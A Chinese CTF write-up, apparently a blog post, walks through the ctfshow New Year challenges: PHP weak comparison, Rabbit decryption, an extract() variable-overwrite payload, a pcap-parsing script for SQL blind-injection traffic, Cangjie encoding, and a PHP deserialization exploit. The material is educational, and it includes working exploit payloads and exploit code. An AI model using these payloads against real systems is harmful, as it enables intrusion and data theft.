ctfshow 年ctf

文章是一系列关于网络安全的挑战,涉及PHP代码中的弱比较、变量覆盖、加密解密、SQL盲注解析以及中文编码。读者需解决一系列问题以获取flag,包括利用phpinfo()函数,构造SQL查询,以及理解PHP魔术方法在反序列化过程中的作用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

除夕

include "flag.php";

$year = $_GET['year'];

if($year==2022 && $year+1!==2023){
    echo $flag;
}else{
    highlight_file(__FILE__);
}

弱比较和强比较的问题 2023那里是强比较,还是很容易的

/?year=2022.0

科学计数法也可

初一

2023是兔年,密码也是。聪明的小伙伴们,你能破解出下面的密码吗?

密文是:

U2FsdGVkX1+M7duRffUvQgJlESPf+OTV2i4TJpc9YybgZ9ONmPk/RJje

2023是兔年很对应rabbit加密,密钥正是2023

image-20230210051128409

初二

老g师傅最近发现了一个有趣的ctf工具,你能找出flag吗?

image-20230210051155960

py文件呢是一个工具

image-20230210051814760

flag.ws是一个附件,可能就是这个工具来跑一下这个附件

image-20230210051848793

其实还是跑一下这个py文件 拿到flag

image-20230210051949697

初三

<?php 
extract($_GET);
include "flag.php";
highlight_file(__FILE__);


$_=function($__,$___){
    return $__==$___?$___:$__;
};
$$__($_($_GET{
    $___
}[$____]{
    $_____
}(),$flag));

extract($_GET)存在变量覆盖

不过下划线混淆代码看着属实难受

$_=function($__,$___){
    return $__==$___?$___:$__;
};

这个函数$_()通过三目运算符比较传入的两个参数,返回一个值

$_($_GET{
    $___
}[$____]{
    $_____
}(),$flag)

$_()函数 传入的第一个参数是$_GET{$___}[$____]{$_____}() 第二个参数是$flag

这两个参数相等即可 return f l a g ,是不回显的 , 所以前面还有 ‘ flag,是不回显的,所以前面还有` flag,是不回显的,所以前面还有$__() 可以构造var_dump()`

配合extract变量覆盖就是 /?__=a&a=var_dump

现在如何让$_GET{$___}[$____]{$_____}()弱等于$flag呢?

还有个(),所以是个无参函数, 有个trick是 phpinfo()=='任意字符串'

<?php
var_dump(phpinfo() == 'abc');
//bool(true)

0也弱等于字符串, 0 == ‘字符串’

json_last_error() 函数是 int(0)

所以这里构造phpinfojson_last_error都行

($_GET{$___}[$____]{$_____}等价于$_GET[$___][$____][$_____]

相当于一个三维数组

构造/?___=x&____=b&_____=c&x[b][c]=phpinfo&就相当于构造传入了phpinfo

payload:

/?__=a&a=var_dump&___=x&____=b&_____=c&x[b][c]=phpinfo

image-20230210030652464

初四

在某次赛博hvv过程中,发现了异常流量
你能分析得到flag吗?

image-20230210052957456

sql盲注的流量

拿师傅的脚本

import pyshark, re
from z3 import Ints, Solver, sat
from urllib.parse import unquote

t1 = pyshark.FileCapture(r'misc.pcapng', display_filter='http')
cacheCharControl = {}
searchChar = re.compile("1' and (ascii|ord)\(substr\(\(\(select concat_ws\(char\([0-9]+\), hackerHasNoFlag\) from flagInHere limit 0,1\)\), [0-9]+, 1\)\)<[0-9]+;--", re.RegexFlag.IGNORECASE)
for first in t1:
    if hasattr(first, 'http'):
        if hasattr(first.http, 'response_for_uri'):
            requestURI = unquote(str(first.http.response_for_uri))
            if searchChar.search(requestURI) is not None:
                locationID = int(requestURI.split('limit 0,1)), ')[1].split(',')[0]) - 1
                biggerNum = int(requestURI.split(', 1))<')[1].split(';--')[0])
                if locationID not in cacheCharControl:
                    cacheCharControl[locationID] = []
                if 'Hacker' in str(first.http.file_data):
                    cacheCharControl[locationID].append((biggerNum, False))
                else:
                    cacheCharControl[locationID].append((biggerNum, True))
t1.close()
x = Ints('x')[0]
flag = Solver()
for startID in range(len(cacheCharControl)):
    flag.push()
    for unit in cacheCharControl[startID]:
        if unit[1]:
            flag.add(x < unit[0])
        else:
            flag.add(x >= unit[0])
    if flag.check() == sat:
        print(chr(int(str(flag.model()[x]))), end='')
    flag.pop()

然后维吉尼亚解密一下

image-20230210055743217

初五

神秘人送来了半个世纪前的无线电信号,但是只能分别出以下的密文:
YDHML_QKA_PDK_HVD_NAHI_OQ_K_GR
据说上面的无线电信号代表的是中文,由红岸基地发往半人马星系
半个世纪过去了,你能破解它的涵义吗?

还是积累吧,搜了很久电波外星人啥的

中文对应 仓颉编码

ctfshow{新春快乐兔年大吉}

初六

<?php
include "flag.php";

class happy2year{

    private $secret;
    private $key;

    function __wakeup(){
        $this->secret="";
    }
    
    function __call($method,$argv){
        
        return call_user_func($this->key, array($method,$argv));
    }


    function getSecret($key){
        $key=$key?$key:$this->key;
        return $this->createSecret($key);    
    }


    function createSecret($key){
        return base64_encode($this->key.$this->secret);
    }

    function __get($arg){
        global $flag;
        $arg="get".$arg;
        $this->$arg = $flag;
        return $this->secret;
    }

    function __set($arg,$argv){
        $this->secret=base64_encode($arg.$argv);
        
    }

    function __invoke(){
        
        return $this->$secret;
    }
    

    function __toString(){
    
        return base64_encode($this->secret().$this->secret);
    }

    
    function __destruct(){
        
        $this->secret = "";
    }
    


}

highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){
    $secret = $obj->getSecret($key);
    print("你提交的key是".$key."\n生成的secret是".$secret);
}

可以看到就一个happy2year类,与构造pop链时很多类不同,这题挺有意思

类外的逻辑,就是成功反序列化后打印 k e y 和 key和 keysecret。

 $secret = $obj->getSecret($key);

反序列化后先调用了getSecret($key) 然后调用createSecret($key) 然后字符拼接调用 __toString()

里面调用不存在的函数secret()所以调用了__call($method,$argv),call里面可以控制$this->key回调函数,调用了

__invoke(),里面的return $this->$secret;调用了私有变量,所以进入 __get($arg)

链子大致如此可以走通。

function __get($arg){
        global $flag;
        $arg="get".$arg;
        $this->$arg = $flag;
        return $this->secret;
    }

    function __set($arg,$argv){
        $this->secret=base64_encode($arg.$argv);
        
    }

__get($arg)里的参数$arg 就是__invoke()中调用的私有属性名secret

然后通过 $arg="get".$arg; 使得现在$arg=‘getsecret’

然后$this->$arg = $flag;触发了__set()

https://www.php.cn/php-weizijiaocheng-426360.html 了解一下__set()方法以及其参数的作用

__set( $property, $value )来设置私有属性,给一个未定义的属性赋值时,触发__set(),传递的参数是被设置的属性名和值.所以, $this->$arg = $flag; 触发了__set()

image-20230210043647450

这里不太好理解,所以本地搞了个demo去debug了一下

进入__set($arg,$argv) a r g 是 g e t s e c r e t , arg是getsecret , arggetsecretargv是$flag的内容

(不过不知道为啥最后拿到flag显示前面的$arg仅是get)

拼接后base64然后赋值给了$this->sercet

所以只需要让逻辑走通,打印出$sercet即可拿到flag

经过上面所述,其实我们唯一控制的点就是__call()里面的$this->key,为happy2year类

exp:

<?php
class happy2year{
    private $secret;
    private $key;

    function __construct(){
        $this->key=$this;
    }
}
$s = new happy2year();
echo urlencode(serialize($s));

虽然exp比较简单,但是里面的逻辑挺值得学习的

image-20230210045951412

官方wp

https://ctf-show.feishu.cn/docx/O5nUduzAMobhEtxeuZpcS78AnOb

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值